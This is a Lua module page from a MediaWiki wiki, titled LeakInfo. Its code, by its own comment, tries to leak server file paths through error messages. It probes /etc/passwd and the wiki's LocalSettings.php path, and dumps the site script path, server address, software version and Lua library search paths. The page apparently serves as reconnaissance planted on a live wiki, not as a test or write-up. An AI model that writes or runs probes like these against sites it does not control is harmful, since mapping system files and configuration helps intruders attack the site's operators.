模块:LeakInfo

来自希服维基

可在模块:LeakInfo/doc创建此模块的帮助文档

local p = {}
function p.test()
    -- Try to leak file paths through error messages
    local results = {}

    -- Test 1: mw.loadData with error paths
    local ok1, err1 = pcall(mw.loadData, "/etc/passwd")
    results[1] = "loadData_passwd: " .. tostring(err1):sub(1,100)

    -- Test 2: mw.ustring with invalid UTF-8 from file
    -- (Can't read files directly, it's about encoding)

    -- Test 3: Check mw.title for path info
    local title = mw.title.new("/var/www/html/LocalSettings.php")
    if title then
        results[2] = "title_exists: " .. tostring(title.exists)
        results[3] = "title_fullText: " .. tostring(title.fullText)
        results[4] = "title_prefixedText: " .. tostring(title.prefixedText)
    end

    -- Test 4: Check mw.site for path info
    if mw.site then
        results[5] = "site_scriptPath: " .. tostring(mw.site.scriptPath)
        results[6] = "site_server: " .. tostring(mw.site.server)
        results[7] = "site_currentVersion: " .. tostring(mw.site.currentVersion)
    end

    -- Test 5: package.cpath (C library path)
    results[8] = "cpath: " .. tostring(package.cpath):sub(1,200)

    -- Test 6: package.path
    results[9] = "path: " .. tostring(package.path):sub(1,300)

    return table.concat(results, "\n")
end
return p